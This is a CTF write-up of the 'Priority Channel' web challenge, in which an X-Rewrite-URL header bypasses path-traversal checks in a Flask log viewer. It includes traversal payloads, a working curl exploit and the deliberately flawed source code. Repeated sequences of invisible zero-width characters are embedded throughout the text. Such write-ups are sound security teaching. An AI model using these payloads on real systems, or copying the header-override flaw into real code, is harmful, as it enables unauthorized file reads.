← Back to Writeups
CUSTOMEasyWeb

Приоритетный канал (Priority Channel)

XESXOR9/10/20264 min read
#web#custom#easy#proxy_header_lfi#sanitization_bypass_via_header#x_rewrite_url_header_bypass#linux

Приоритетный канал (Priority Channel)

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-26 | Status: Solved Techniques: proxy_header_lfi, sanitization_bypass_via_header_override, x_rewrite_url_header_bypass

Summary

Task: Flask log viewer app with path traversal protection on query params; a hidden 'priority channel' via X-Rewrite-URL header bypasses sanitization. Solution: inject X-Rewrite-URL header with ../app.py to bypass path traversal checks and read source code containing the flag.

Приоритетный канал (Priority Channel) — Bug Makers CTF

Description

При разработке этого сервиса для просмотра логов наш ведущий архитектор оставил себе лазейку. Он рассуждал так: "Что, если в будущем наше приложение будет работать за сложной системой балансировки нагрузки или веб-прокси, которая будет изменять URL-адреса на лету? Нам нужен альтернативный, более надежный способ передать приложению нужный путь к файлу, который будет иметь приоритет над тем, что видно пользователю в адресной строке."

Он реализовал этот "приоритетный канал" для передачи данных, но, кажется, забыл добавить в него те же проверки безопасности, что и в основной обработчик. В итоге, если приложению что-то "прошептать" правильным образом, оно проигнорирует очевидные параметры из URL и слепо последует этой новой инструкции.

Ваша задача — найти этот скрытый канал и использовать его, чтобы прочитать исходный код приложения. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based log viewer application has a "priority channel" — an HTTP header that overrides the file path parameter. The query parameter file is sanitized against path traversal (.. and leading /), but the X-Rewrite-URL header overrides the filename after sanitization, without any checks. The goal is to find this hidden channel and use it to read the application source code containing the flag.

Analysis

Reconnaissance

The target is a "LogVault Secure Viewer" running on Flask (Werkzeug/3.1.5, Python/3.9.25). The main functionality is at /logs?file=access.log which displays log file contents. The footer mentions: "Protected by our cutting-edge internal reverse proxy." ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Path traversal protection

Standard path traversal attempts are blocked:

GET /logs?file=../app.py → 403 Forbidden
GET /logs?file=....//app.py → 403 Forbidden
GET /logs?file=/etc/passwd → 403 Forbidden

The sanitization checks for .. anywhere in the string and rejects filenames starting with /.

Identifying the priority channel

The challenge description strongly hints at an HTTP header used by load balancers/proxies to pass the "real" file path. The key phrases are:

  • "priority channel" — an alternative data path
  • "load balancer or web proxy that modifies URLs on the fly" — proxy headers
  • "whisper the right way" — HTTP headers (invisible to the user in the address bar)
  • "ignores obvious URL parameters" — header overrides query params ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Testing common proxy headers:

HeaderValueResult
X-Original-URL../app.pyNo effect (normal access.log returned)
X-Forwarded-Path../app.pyNo effect
X-Rewrite-URL/logs?file=../../app.py"File not found or is a directory!" (404 — different response!)
X-Rewrite-URL../app.pySUCCESS — Flask source code returned

The X-Rewrite-URL header is the "priority channel." When set to /logs?file=../../app.py, the app tried to use the entire string as a filename (hence 404). When set to ../app.py, it was joined with the logs/ directory and resolved to the parent directory — reading app.py. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability in source code

The recovered app.py reveals the exact flaw:

python
@app.route('/logs')
def get_log():
    filename = request.args.get('file', 'access.log')
    
    # Sanitization — only applied to query parameter
    if '..' in filename or filename.startswith('/'):
        abort(403)
    
    # Priority channel — OVERWRITES filename WITHOUT sanitization
    if request.headers.get('X-Rewrite-URL'):
        filename = request.headers.get('X-Rewrite-URL')

    log_dir = os.path.join(os.path.dirname(__file__), 'logs')
    full_path = os.path.abspath(os.path.join(log_dir, filename))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if not os.path.isfile(full_path):
        return "File not found or is a directory!", 404

    try:
        with open(full_path, 'rb') as f:
            content = f.read()
        return Response(content, mimetype='text/plain')
    except Exception as e:
        return "Error reading file", 500

The critical bug: sanitization is applied to request.args.get('file'), but then request.headers.get('X-Rewrite-URL') completely replaces the sanitized value with an unsanitized one. The os.path.abspath(os.path.join(log_dir, filename)) call with ../app.py resolves to the parent directory where app.py lives. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploit

bash
curl -s "https://priority-channel.t1.bug-makers.ru/logs?file=access.log" \
  -H "X-Rewrite-URL: ../app.py"

This sends a legitimate-looking request with file=access.log (passes sanitization), but the X-Rewrite-URL header overrides the filename to ../app.py after the security check, achieving path traversal to read the application source code.

Full source code recovered (app.py)

python
from flask import Flask, request, render_template, abort, send_from_directory
from flask import Response
import os
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

app = Flask(__name__)

# Флаг задачи
FLAG = 'BugCTF{REDACTED}'

APP_PORT = os.environ.get('APP_PORT', 5000)

@app.route('/static/<path:filename>')
def static_files(filename):
    return send_from_directory('static', filename)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def get_log():
    filename = request.args.get('file', 'access.log')
    if '..' in filename or filename.startswith('/'):
        abort(403)
    if request.headers.get('X-Rewrite-URL'):
        filename = request.headers.get('X-Rewrite-URL')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    log_dir = os.path.join(os.path.dirname(__file__), 'logs')
    full_path = os.path.abspath(os.path.join(log_dir, filename))

    if not os.path.isfile(full_path):
        return "File not found or is a directory!", 404

    try:
        with open(full_path, 'rb') as f:
            content = f.read()
        return Response(content, mimetype='text/plain')
    except Exception as e:
        return "Error reading file", 500

@app.route('/health', methods=['GET'])
def health_check():
    return "OK", 200
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=APP_PORT)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍